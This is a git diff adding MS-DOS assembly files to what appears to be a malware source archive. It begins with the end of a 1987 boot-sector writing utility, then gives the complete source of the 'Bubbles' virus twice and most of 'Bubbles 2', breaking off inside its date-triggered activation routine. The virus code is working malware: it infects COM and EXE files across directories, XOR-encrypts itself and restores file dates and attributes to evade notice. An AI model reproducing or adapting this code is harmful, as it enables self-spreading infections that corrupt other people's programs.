AL,cr + JNZ d1 +d2: + MOV DX,OFFSET msg4 ;setup for disk write + CALL Print + MOV AL,drive + LEA BX,head + MOV CX,0001 + MOV DX,0000 +drite: ;more setups + PUSH AX + PUSH BX + PUSH CX + PUSH DX + INT 26h + JC derror ;processing error ? + POPF ;done + POP DX + POP CX + POP BX + POP AX +d3: + MOV DX,OFFSET msg5 ;transfer complete + CALL Print + JMP d4 +derror: ;display disk errror + CALL ErrorList +dend_of: + CALL Print + POPF ;done + POP DX + POP CX + POP BX + POP AX +d4: + MOV DX,OFFSET msg3 ;another ? + CALL Print + JMP d1 ;loop +d5: + RET +Dwrite ENDP + +;-------------- + +Print PROC NEAR ;a Great idea from Vern Buerg ! + PUSH SI + PUSH BX + PUSH CX + MOV SI,DX ;DX has the offset to string + SUB CX,CX ;set to zero for count +p1: + LODSB + CMP AL,stopper ;string ends in FFh + JE p9 + INC CX ;increment text length + JMP p1 +p9: + MOV AH,40h ;write using file handles + MOV BX,1 + INT 21h + POP CX + POP BX ;recover registers + POP SI + RET +Print ENDP + +;-------------- + +ErrorList PROC NEAR ;error code interpretation + ;the upper byte (AH) contains error +err80h: CMP AH,080h ;attachment failed to respond + JNZ err40h + MOV DX,OFFSET msg80h + RET +err40h: + CMP AH,040h ;seek operation failed + JNZ err20h + MOV DX,OFFSET msg40h + RET +err20h: + CMP AH,020h ;controller failed + JNZ err10h + MOV DX,OFFSET msg20h + RET +err10h: + CMP AH,010h ;data error (bad CRC) + JNZ err08h + MOV DX,OFFSET msg10h + RET +err08h: + CMP AH,08h ;direct memory access failure + JNZ err04h + MOV DX,OFFSET msg08h + RET +err04h: + CMP AH,04h ;requested sector not found + JNZ err03h + MOV DX,OFFSET msg04h + RET +err03h: + CMP AH,03h ;write-protect fault + JNZ err02h + MOV DX,OFFSET msg03h + RET +err02h: + CMP AH,02h ;bad address mark + JNZ errgen + MOV DX,OFFSET msg02h + RET +errgen: + MOV DX,OFFSET msggen ;something new ? (Unknown) + RET +ErrorList ENDP + +;-------------- + +Modify PROC FAR +head: +cr EQU 0Dh ;carriage return +lf EQU 0Ah ;line feed +stopper EQU 255 ;end of display line indicator +boot_area EQU 0000h ;setup boot area +bogus_drv EQU 0080h ;setup bogus drive +loc2 EQU 01FEh ;last two bytes of boot sector +eof_bootsec EQU 0AA55h ;end of boot sector (reversed) +bulc EQU 0DAh ;box upper left corner +burc EQU 0BFh ;box upper right corner +bllc EQU 0C0h ;box lower left corner +blrc EQU 0D9h ;box lower right corner +bver EQU 0B3h ;vertical +bhor EQU 0C4h ;horizontal + + JMP start ;1st byte of the sector must be a jmp + DB 'BootThru' ;8-byte system id + DW 512 ;sector size in bytes + DB 2 ;sectors per cluster + DW 1 ;reserved clusters + DB 2 ;number of fats + DW 112 ;root directory entries + DW 720 ;total sectors + DB 0FDh ;format id (2 sided, 9 sector) + DW 2 ;sectors per fat + DW 9 ;sectors per track + DW 2 ;sides + DW 0 ;special hidden sectors + DB 0 ;filler + DB 0 ;head + DB 0Ah ;length of BIOS file + DB 0DFh ;disk parameter table + DB 02 ; " + DB 25h ; " + DB 02 ; " + DB 09 ; " + DB 02Ah ;Int 1Eh points to this table, + DB 0FFh ;the disk parameter table. + DB 050h ;contents of this vector (1Eh) + DB 0F6h ;are used as a pointer only, + DB 0Fh ;Int 1Eh is not executed + DB 02 ;directly +intro_beg: + DB cr,lf, + DB cr,lf,bulc,46 DUP(bhor),burc + DB cr,lf,bver,' This disk was modified by BootThru ',bver + DB cr,lf,bver,' Version 1.05 by Bill Gibson 1987 ',bver + DB cr,lf,bllc,46 DUP(bhor),blrc + DB cr,lf,stopper + +intro_offset EQU intro_beg - head + +start: + MOV AX,07C0h ;boot record location + MOV ES,AX + MOV DS,AX + MOV SI,intro_offset +strt1: + MOV AH,0Eh ;write teletype + MOV AL,[SI] + CMP AL,stopper + JE SHORT strt2 + PUSH SI + INT 10h + POP SI + INC SI + JMP SHORT strt1 +strt2: + CLD ;setup to bypass drive A: + MOV SI,OFFSET strt3 - OFFSET head + MOV DI,0200h ;boot sector size + MOV CX,0200h + REPZ MOVSB + JMP head + 200h +strt3: + MOV AH,2 ;function 02h - read floppy disk + MOV BX,boot_area ;boot area + MOV CH,0 ;track number + MOV CL,1 ;sector + MOV DH,0 ;head + MOV DL,bogus_drv ;bogus drive + MOV AL,1 ;number of sectors + INT 13h +strt4: + MOV BX,loc2 ;setup to pull ROM Basic in + MOV AX,[BX] ;if an error occurs + CMP AX,eof_bootsec + JNZ strt9 + JMP strt3 - 200h +strt9: + INT 18h + + DB 'BootThru, Copyright (c) Bill Gibson, 02.09.87' +tail: + +filler_amount EQU 512 - (tail - head) - 2 + + DB filler_amount dup (0) ; filler +boot_id DB 055h,0AAh ; boot id + +Modify ENDP + +BootThru ENDP +code ENDS + END BootThru + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.bubbles.asm b/MSDOS/Virus.MSDOS.Unknown.bubbles.asm new file mode 100644 index 00000000..a7ff23bc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bubbles.asm @@ -0,0 +1,375 @@ +;--------- +; Bubbles Virus written by Admiral Bailey +; Using The Instant Virus Production Kit By Admiral Bailey +; To compile this use TASM /M BUBBLES.ASM +;--------- + + +code segment public 'code' + assume cs:code + org 100h ; All .COM files start here + +ID = 'AB' ; Id for infected files + +start: + db 0e9h,0,0 ; Jump to the next command + +virus: + call realcode ; Push current location on stack +realcode: + nop + nop + nop + nop + nop + pop bp ; Get location off stack + sub bp,offset realcode ; Adjust it for our pointer + nop + nop + nop + nop + call encrypt_decrypt ; Decrypt the virus first + +encrypt_start equ $ ; From here is encrypted + + cmp sp,id ; COM or EXE? + je restoreEXE + + lea si,[bp+offset oldjump] ; Location of old jump in si + mov di,100h ; Location of where to put it in di + push di ; Save so we could just return when done + movsb ; Move a byte + movsw ; Move a word + jmp exitrestore + +restoreEXE: + push ds ; Save ExE ds + push es ; Save ExE es + push cs + pop ds ; DS now equals CS + push cs + pop es ; ES now equals CS + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + +ExitRestore: + lea dx,[bp+offset dta] ; Where to put New DTA + call set_DTA ; Move it + + mov ax,3524h ; Get int 24 handler + int 21h ; To ES:BX + mov word ptr [bp+oldint24],bx ; Save it + mov word ptr [bp+oldint24+2],es + + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + + push cs ; Restore ES + pop es ; 'cuz it was changed + + mov ah,47h ; Get the current directory + mov dl,0h ; On current drive + lea si,[bp+offset currentdir] ; Where to keep it + int 21h + +dirloop: + lea dx,[bp+offset exefilespec] + call findfirst + lea dx,[bp+offset comfilespec] + call findfirst + + lea dx,[bp+offset directory] ; Where to change too '..' + mov ah,3bh ; Change directory + int 21h + jnc dirloop ; If no problems the look for files + + mov ah,9 ; Display string + lea dx,[bp+virusname] + int 21h + + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; To original + int 21h + + push cs + pop ds ; Do this because the DS gets changed + + lea dx,[bp+offset currentdir] ; Location Of original dir + mov ah,3bh ; Change to there + int 21h + + mov dx,80h ; Location of original DTA + call set_dta ; Put it back there + + cmp sp,id-4 ; EXE or COM? + jz returnEXE + + retn ; Return to 100h to original jump + +ReturnEXE: + pop es ; Get original ES + pop ds ; Get original DS + + mov ax,es + add ax,10h + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear int's because of stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; Jump ssss:oooo +jmpsave dd ? ; Jump location +stacksave dd ? ; Original cs:ip +jmpsave2 dd 0fff00000h ; Used with carrier file +stacksave2 dd ? + +findfirst: + mov ah,4eh ; Find first file + mov cx,7 ; Find all attributes + +findnext: + int 21h ; Find first/next file int + jc quit ; If none found then change dir + + call infection ; Infect that file + +Findnext2: + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +quit: + ret + +infection: + mov ax,3d00h ; Open file for read only + call open + + mov ah,3fh ; Read from file + mov cx,1ah + lea dx,[bp+offset buffer] ; Location to store them + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM' ; EXE? + jz checkEXE ; Why yes, yes it is! + mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax + cmp ax,'DN' ; Does End in comma'ND'? (reverse order) + jz quitinfect ; Yup so get another file + +CheckCom: + mov bx,[bp+offset dta+1ah] ; Get file size + mov cx,word ptr [bp+buffer+1] ; Get jump loc of file + add cx,eof-virus+3 ; Add for virus size + + cmp bx,cx ; Does file size=file jump+virus size + jz quitinfect ; Yup then get another file + jmp infectcom + +CheckExe: + cmp word ptr [bp+buffer+10h],id ; Check EXE for infection + jz quitinfect ; Already infected so close up + jmp infectexe + +quitinfect: + ret + +InfectCom: + sub bx,3 ; Adjust for new jump + lea si,[bp+buffer] + lea di,[bp+oldjump] + movsw + movsb + mov [bp+buffer],byte ptr 0e9h + mov word ptr [bp+buffer+1],bx ; Save for later + + mov cx,3 ; Number of bytes to write + + jmp finishinfection +InfectExe: + les ax,dword ptr [bp+buffer+14h] ; Load es with seg address + mov word ptr [bp+jmpsave2],ax ; save old cs:ip + mov word ptr [bp+jmpsave2+2],es + + les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp + mov word ptr [bp+stacksave2],es ; save old cs:ip + mov word ptr [bp+stacksave2+2],ax + + mov ax, word ptr [bp+buffer+8] ; get header size + mov cl,4 + shl ax,cl + xchg ax,bx + les ax,[bp+offset DTA+26] ; get files size from dta + mov dx,es ; its now in dx:ax + push ax ; save these + push dx + + sub ax,bx ; subtract header size from fsize + sbb dx,0 ; subtract the carry too + mov cx,10h ; convert to segment:offset form + div cx + + mov word ptr [bp+buffer+14h],dx ; put in new header + mov word ptr [bp+buffer+16h],ax ; cs:ip + + mov word ptr [bp+buffer+0eh],ax ; ss:sp + mov word ptr [bp+buffer+10h],id ; put id in for later + pop dx ; get the file length back + pop ax + + add ax,eof-virus ; add virus size + adc dx,0 ; add with carry + + mov cl,9 ; calculates new file size + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr [bp+buffer+4],dx ; save new file size in header + mov word ptr [bp+buffer+2],ax + + push cs ; es = cs + pop es + + mov cx,1ah ; Number of bytes to write (Header) +FinishInfection: + push cx ; save # of bytes to write + xor cx,cx ; Set attriutes to none + call attributes + + mov al,2 ; open file read/write + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Location of bytes + pop cx ; Get number of bytes to write + int 21h + jc closefile + + mov al,02 ; Move Fpointer to eof + Call move_fp + +get_time: + mov ah,2ch ; Get time for our encryption value + int 21h + cmp dh,0 ; If its seconds are zere get another + je get_time + mov [bp+enc_value],dh ; Use seconds value for encryption + call encrypt_infect ; Encrypt and infect the file +closefile: + mov ax,5701h ; Set files date/time back + mov cx,word ptr [bp+dta+16h] ; Get old time from dta + mov dx,word ptr [bp+dta+18h] ; Get old date + int 21h + + mov ah,3eh ; Close file + int 21h + + xor cx,cx + mov cl,byte ptr [bp+dta+15h] ; Get old Attributes + call attributes + + retn + +move_fp: + mov ah,42h ; Move file pointer + xor cx,cx ; Al has location + xor dx,dx ; Clear these + int 21h + retn + +set_dta: + mov ah,1ah ; Move the DTA location + int 21h + retn + +open: + mov ah,3dh ; open file + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + xchg ax,bx ; file handle in bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + ret +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return from int 24 call + +Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus +Author db 'Admiral Bailey',10,13 ; Author Of This Virus +Made_with db '[IVP]',10,13,'$' ; Please do not remove this + +comfilespec db '*.com',0 ; Holds type of file to look for +exefilespec db '*.exe',0 ; Holds type of file to look for +directory db '..',0 ; Directory to change to +oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit + +encrypt_infect: + lea si,[bp+offset move_begin] ; Location of where to move from + lea di,[bp+offset workarea] ; Where to move it too + mov cx,move_end-move_begin ; Number of bytes to move +move_loop: + movsb ; Moves this routine into heap + loop move_loop + lea dx,[bp+offset workarea] + call dx ; Jump to that routine just moved + ret + +move_begin equ $ ; Marks beginning of move + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Call the encrypt_decrypt procedure + pop bx ; Get handle back in bx and return + mov ah,40h ; Write to file + mov cx,eof-virus ; Number of bytes + lea dx,[bp+offset virus] ; Where to write from + int 21h + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Decrypt the file and return + pop bx ; Get handle back in bx and return + ret +move_end equ $ ; Marks the end of move + +encrypt_end equ $ ; Marks the end of encryption + +encrypt_decrypt: + lea bx,[bp+encrypt_start] ; Where to start encryption + mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt + mov dh,[bp+enc_value] ; Value to use for encryption +encrypt_loop: + mov ah,cs:[bx] ; Get a byte in ah + xor ah,dh ; Xor it + mov cs:[bx],ah ; Put it back + inc bx ; Move to next byte and loop + loop encrypt_loop + ret + +enc_value db 00h ; Hold the encryption value 00 for nul effect + +eof equ $ ; Marks the end of file + +workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine +currentdir db 64 dup (?) ; Holds the current dir +dta db 42 dup (?) ; Location of new DTA +buffer db 1ah dup (?) ; Holds exe header +oldint24 dd ? ; Storage for old int 24h handler + +code ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.bubbles1.asm b/MSDOS/Virus.MSDOS.Unknown.bubbles1.asm new file mode 100644 index 00000000..a7ff23bc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bubbles1.asm @@ -0,0 +1,375 @@ +;--------- +; Bubbles Virus written by Admiral Bailey +; Using The Instant Virus Production Kit By Admiral Bailey +; To compile this use TASM /M BUBBLES.ASM +;--------- + + +code segment public 'code' + assume cs:code + org 100h ; All .COM files start here + +ID = 'AB' ; Id for infected files + +start: + db 0e9h,0,0 ; Jump to the next command + +virus: + call realcode ; Push current location on stack +realcode: + nop + nop + nop + nop + nop + pop bp ; Get location off stack + sub bp,offset realcode ; Adjust it for our pointer + nop + nop + nop + nop + call encrypt_decrypt ; Decrypt the virus first + +encrypt_start equ $ ; From here is encrypted + + cmp sp,id ; COM or EXE? + je restoreEXE + + lea si,[bp+offset oldjump] ; Location of old jump in si + mov di,100h ; Location of where to put it in di + push di ; Save so we could just return when done + movsb ; Move a byte + movsw ; Move a word + jmp exitrestore + +restoreEXE: + push ds ; Save ExE ds + push es ; Save ExE es + push cs + pop ds ; DS now equals CS + push cs + pop es ; ES now equals CS + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + +ExitRestore: + lea dx,[bp+offset dta] ; Where to put New DTA + call set_DTA ; Move it + + mov ax,3524h ; Get int 24 handler + int 21h ; To ES:BX + mov word ptr [bp+oldint24],bx ; Save it + mov word ptr [bp+oldint24+2],es + + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + + push cs ; Restore ES + pop es ; 'cuz it was changed + + mov ah,47h ; Get the current directory + mov dl,0h ; On current drive + lea si,[bp+offset currentdir] ; Where to keep it + int 21h + +dirloop: + lea dx,[bp+offset exefilespec] + call findfirst + lea dx,[bp+offset comfilespec] + call findfirst + + lea dx,[bp+offset directory] ; Where to change too '..' + mov ah,3bh ; Change directory + int 21h + jnc dirloop ; If no problems the look for files + + mov ah,9 ; Display string + lea dx,[bp+virusname] + int 21h + + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; To original + int 21h + + push cs + pop ds ; Do this because the DS gets changed + + lea dx,[bp+offset currentdir] ; Location Of original dir + mov ah,3bh ; Change to there + int 21h + + mov dx,80h ; Location of original DTA + call set_dta ; Put it back there + + cmp sp,id-4 ; EXE or COM? + jz returnEXE + + retn ; Return to 100h to original jump + +ReturnEXE: + pop es ; Get original ES + pop ds ; Get original DS + + mov ax,es + add ax,10h + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear int's because of stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; Jump ssss:oooo +jmpsave dd ? ; Jump location +stacksave dd ? ; Original cs:ip +jmpsave2 dd 0fff00000h ; Used with carrier file +stacksave2 dd ? + +findfirst: + mov ah,4eh ; Find first file + mov cx,7 ; Find all attributes + +findnext: + int 21h ; Find first/next file int + jc quit ; If none found then change dir + + call infection ; Infect that file + +Findnext2: + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +quit: + ret + +infection: + mov ax,3d00h ; Open file for read only + call open + + mov ah,3fh ; Read from file + mov cx,1ah + lea dx,[bp+offset buffer] ; Location to store them + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM' ; EXE? + jz checkEXE ; Why yes, yes it is! + mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax + cmp ax,'DN' ; Does End in comma'ND'? (reverse order) + jz quitinfect ; Yup so get another file + +CheckCom: + mov bx,[bp+offset dta+1ah] ; Get file size + mov cx,word ptr [bp+buffer+1] ; Get jump loc of file + add cx,eof-virus+3 ; Add for virus size + + cmp bx,cx ; Does file size=file jump+virus size + jz quitinfect ; Yup then get another file + jmp infectcom + +CheckExe: + cmp word ptr [bp+buffer+10h],id ; Check EXE for infection + jz quitinfect ; Already infected so close up + jmp infectexe + +quitinfect: + ret + +InfectCom: + sub bx,3 ; Adjust for new jump + lea si,[bp+buffer] + lea di,[bp+oldjump] + movsw + movsb + mov [bp+buffer],byte ptr 0e9h + mov word ptr [bp+buffer+1],bx ; Save for later + + mov cx,3 ; Number of bytes to write + + jmp finishinfection +InfectExe: + les ax,dword ptr [bp+buffer+14h] ; Load es with seg address + mov word ptr [bp+jmpsave2],ax ; save old cs:ip + mov word ptr [bp+jmpsave2+2],es + + les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp + mov word ptr [bp+stacksave2],es ; save old cs:ip + mov word ptr [bp+stacksave2+2],ax + + mov ax, word ptr [bp+buffer+8] ; get header size + mov cl,4 + shl ax,cl + xchg ax,bx + les ax,[bp+offset DTA+26] ; get files size from dta + mov dx,es ; its now in dx:ax + push ax ; save these + push dx + + sub ax,bx ; subtract header size from fsize + sbb dx,0 ; subtract the carry too + mov cx,10h ; convert to segment:offset form + div cx + + mov word ptr [bp+buffer+14h],dx ; put in new header + mov word ptr [bp+buffer+16h],ax ; cs:ip + + mov word ptr [bp+buffer+0eh],ax ; ss:sp + mov word ptr [bp+buffer+10h],id ; put id in for later + pop dx ; get the file length back + pop ax + + add ax,eof-virus ; add virus size + adc dx,0 ; add with carry + + mov cl,9 ; calculates new file size + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr [bp+buffer+4],dx ; save new file size in header + mov word ptr [bp+buffer+2],ax + + push cs ; es = cs + pop es + + mov cx,1ah ; Number of bytes to write (Header) +FinishInfection: + push cx ; save # of bytes to write + xor cx,cx ; Set attriutes to none + call attributes + + mov al,2 ; open file read/write + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Location of bytes + pop cx ; Get number of bytes to write + int 21h + jc closefile + + mov al,02 ; Move Fpointer to eof + Call move_fp + +get_time: + mov ah,2ch ; Get time for our encryption value + int 21h + cmp dh,0 ; If its seconds are zere get another + je get_time + mov [bp+enc_value],dh ; Use seconds value for encryption + call encrypt_infect ; Encrypt and infect the file +closefile: + mov ax,5701h ; Set files date/time back + mov cx,word ptr [bp+dta+16h] ; Get old time from dta + mov dx,word ptr [bp+dta+18h] ; Get old date + int 21h + + mov ah,3eh ; Close file + int 21h + + xor cx,cx + mov cl,byte ptr [bp+dta+15h] ; Get old Attributes + call attributes + + retn + +move_fp: + mov ah,42h ; Move file pointer + xor cx,cx ; Al has location + xor dx,dx ; Clear these + int 21h + retn + +set_dta: + mov ah,1ah ; Move the DTA location + int 21h + retn + +open: + mov ah,3dh ; open file + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + xchg ax,bx ; file handle in bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + ret +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return from int 24 call + +Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus +Author db 'Admiral Bailey',10,13 ; Author Of This Virus +Made_with db '[IVP]',10,13,'$' ; Please do not remove this + +comfilespec db '*.com',0 ; Holds type of file to look for +exefilespec db '*.exe',0 ; Holds type of file to look for +directory db '..',0 ; Directory to change to +oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit + +encrypt_infect: + lea si,[bp+offset move_begin] ; Location of where to move from + lea di,[bp+offset workarea] ; Where to move it too + mov cx,move_end-move_begin ; Number of bytes to move +move_loop: + movsb ; Moves this routine into heap + loop move_loop + lea dx,[bp+offset workarea] + call dx ; Jump to that routine just moved + ret + +move_begin equ $ ; Marks beginning of move + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Call the encrypt_decrypt procedure + pop bx ; Get handle back in bx and return + mov ah,40h ; Write to file + mov cx,eof-virus ; Number of bytes + lea dx,[bp+offset virus] ; Where to write from + int 21h + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Decrypt the file and return + pop bx ; Get handle back in bx and return + ret +move_end equ $ ; Marks the end of move + +encrypt_end equ $ ; Marks the end of encryption + +encrypt_decrypt: + lea bx,[bp+encrypt_start] ; Where to start encryption + mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt + mov dh,[bp+enc_value] ; Value to use for encryption +encrypt_loop: + mov ah,cs:[bx] ; Get a byte in ah + xor ah,dh ; Xor it + mov cs:[bx],ah ; Put it back + inc bx ; Move to next byte and loop + loop encrypt_loop + ret + +enc_value db 00h ; Hold the encryption value 00 for nul effect + +eof equ $ ; Marks the end of file + +workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine +currentdir db 64 dup (?) ; Holds the current dir +dta db 42 dup (?) ; Location of new DTA +buffer db 1ah dup (?) ; Holds exe header +oldint24 dd ? ; Storage for old int 24h handler + +code ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.bubbles2.asm b/MSDOS/Virus.MSDOS.Unknown.bubbles2.asm new file mode 100644 index 00000000..3e61b0b7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bubbles2.asm @@ -0,0 +1,427 @@ +;--------- +; Bubbles 2 written by Admiral Bailey +;--------- + + +Code Segment Public 'Code' + Assume CS:Code + Org 100h ; All .COM files start here + +ID = 'AB' ; Id for infected files +MaxFiles = 3 ; Max number of file to infect + +Start: + db 0e9h,2,0 ; Jump to the next command + dw id ; So this file doesnt get infected + +Virus: + call realcode ; Push current location on stack + +Realcode: + pop bp ; Get location off stack + nop + nop + nop + sub bp,offset realcode ; Adjust it for our pointer + nop + nop + call encrypt_decrypt ; Decrypt the virus first + +Encrypt_Start equ $ ; From here is encrypted + + cmp sp,id ; Is this file a COM or EXE? + je restoreEXE ; Its an EXE so restore it + + lea si,[bp+offset oldjump] ; Location of old jump in si + mov di,100h ; Restore new jump to 100h + push di ; Save so we could just return when done + movsb ; Move a byte + movsw ; Move a word + movsw ; Move another word + jmp exitrestore + +RestoreEXE: + push ds ; Save ExE ds + push es ; Save ExE es + push cs + pop ds ; DS now equals CS + push cs + pop es ; ES now equals CS + + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + +ExitRestore: + lea dx,[bp+offset dta] ; Where to put New DTA + call set_DTA ; Move it + + mov [bp+counter],byte ptr 0 ; Clear counter + mov ax,3524h ; Get int 24 handler + int 21h ; It gets put in ES:BX + mov word ptr [bp+oldint24],bx ; Save it + mov word ptr [bp+oldint24+2],es + + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; Loc of new one in DS:DX + int 21h + + push cs ; Restore ES + pop es ; 'cuz it was changed + + mov ah,47h ; Get the current directory + mov dl,0h ; On current drive + lea si,[bp+offset currentdir] ; Where to keep it + int 21h + +DirLoop: + lea dx,[bp+offset exefilespec] ; Files to look for + call findfirst + lea dx,[bp+offset comfilespec] ; Files to look for + call findfirst + + lea dx,[bp+offset directory] ; Where to change too '..' + mov ah,3bh ; Change directory + int 21h + jnc dirloop ; If no problems the look for files + + call activate ; Call the activation routine + + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; To original + int 21h + + push cs + pop ds ; Do this because the DS gets changed + + lea dx,[bp+offset currentdir] ; Location Of original dir + mov ah,3bh ; Change to there + int 21h + + mov dx,80h ; Location of original DTA + call set_dta ; Put it back there + + cmp sp,id-4 ; Is this file an EXE or COM? + jz returnEXE ; Its an EXE! + + retn ; Return to 100h (original jump) + +ReturnEXE: + pop es ; Get original ES + pop ds ; Get original DS + + mov ax,es + add ax,10h + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear int's because of stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; Jump ssss:oooo +jmpsave dd ? ; Jump location +stacksave dd ? ; Original cs:ip +jmpsave2 dd 0fff00000h +stacksave2 dd ? + +FindFirst: + cmp [bp+counter],maxfiles ; Have we infected Too many + ja quit ; Yup + + mov ah,4eh ; Find first file + mov cx,7 ; Find all attributes + +FindNext: + int 21h ; Find first/next file int + jc quit ; If none found then change dir + + call infection ; Infect that file + +FindNext2: + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +Quit: + ret + +Infection: + mov ax,3d00h ; Open file for read only + call open + + mov ah,3fh ; Read from file + mov cx,1ah ; Number of bytes + lea dx,[bp+offset buffer] ; Location to store them + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ax,word ptr [bp+DTA+1Ah] ; Get filesize from DTA + cmp ax,64000 ; Is the file too large? + ja quitinfect ; file to large so getanother + + cmp ax,600 ; Is the file too small? + jb quitinfect ; file to small so getanother + + cmp word ptr [bp+buffer],'ZM' ; Is file found an EXE? + jz checkEXE ; Yup so check it + mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax + cmp ax,'DN' ; Does it end in 'ND'? + jz quitinfect ; Yup so get another file + +CheckCom: + mov bx,word ptr [bp+offset dta+1ah] ; Get file size + cmp word ptr cs:[bp+buffer+3],id ; Check for ID + je quitinfect + + jmp infectcom + +CheckExe: + cmp word ptr [bp+buffer+10h],id ; Check EXE for infection + jz quitinfect ; Already infected so close up + jmp infectexe + +QuitInfect: + ret + +InfectCom: + sub bx,3 ; Adjust for new jump + lea si,[bp+buffer] ; Move the old jump first + lea di,[bp+oldjump] + movsb + movsw + movsw + mov [bp+buffer],byte ptr 0e9h ; Setup new jump + mov word ptr [bp+buffer+1],bx ; Save new jump + + mov word ptr [bp+buffer+3],id ; Put in ID + mov cx,5 ; Number of bytes to write + + jmp finishinfection +InfectExe: + les ax,dword ptr [bp+buffer+14h] ; Load es with seg address + mov word ptr [bp+jmpsave2],ax ; save old cs:ip + mov word ptr [bp+jmpsave2+2],es + + les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp + mov word ptr [bp+stacksave2],es ; save old cs:ip + mov word ptr [bp+stacksave2+2],ax + + mov ax, word ptr [bp+buffer+8] ; get header size + mov cl,4 + shl ax,cl + xchg ax,bx + les ax,[bp+offset DTA+26] ; get files size from dta + mov dx,es ; its now in dx:ax + push ax ; save these + push dx + + sub ax,bx ; subtract header size from fsize + sbb dx,0 ; subtract the carry too + mov cx,10h ; convert to segment:offset form + div cx + + mov word ptr [bp+buffer+14h],dx ; put in new header + mov word ptr [bp+buffer+16h],ax ; cs:ip + + mov word ptr [bp+buffer+0eh],ax ; ss:sp + mov word ptr [bp+buffer+10h],id ; put id in for later + pop dx ; get the file length back + pop ax + + add ax,eof-virus ; add virus size + adc dx,0 ; add with carry + + mov cl,9 ; calculates new file size + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr [bp+buffer+4],dx ; save new file size in header + mov word ptr [bp+buffer+2],ax + + push cs ; es = cs + pop es + + mov cx,1ah ; Size of EXE header +FinishInfection: + push cx ; save # of bytes to write + xor cx,cx ; Set attriutes to none + call attributes + + mov al,2 ; open file read/write + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Location of bytes + pop cx ; Get number of bytes to write + int 21h + jc closefile + + mov al,02 ; Move Fpointer to eof + Call move_fp + +get_time: + mov ah,2ch ; Get time for encryption value + int 21h + cmp dh,0 ; If its seconds are zero get another + je get_time + mov [bp+enc_value],dh ; Use seconds value for encryption + + call encrypt_infect ; Encrypt and infect the file + + inc [bp+counter] ; Increment the counter + +CloseFile: + mov ax,5701h ; Set files date/time back + mov cx,word ptr [bp+dta+16h] ; Get old time from dta + mov dx,word ptr [bp+dta+18h] ; Get old date + int 21h + + mov ah,3eh ; Close file + int 21h + + xor cx,cx + mov cl,byte ptr [bp+dta+15h] ; Get old Attributes + call attributes + + retn + +Activate: + mov ah,2ah ; Get current date + int 21h + + cmp cx,1993 ; Check current Year + jb dont_activate + cmp dl,13 ; Check current Day + jne dont_activate + + mov ah,2ch ; Get current time + int 21h + + cmp ch,13 ; Check current hour + jne dont_activate 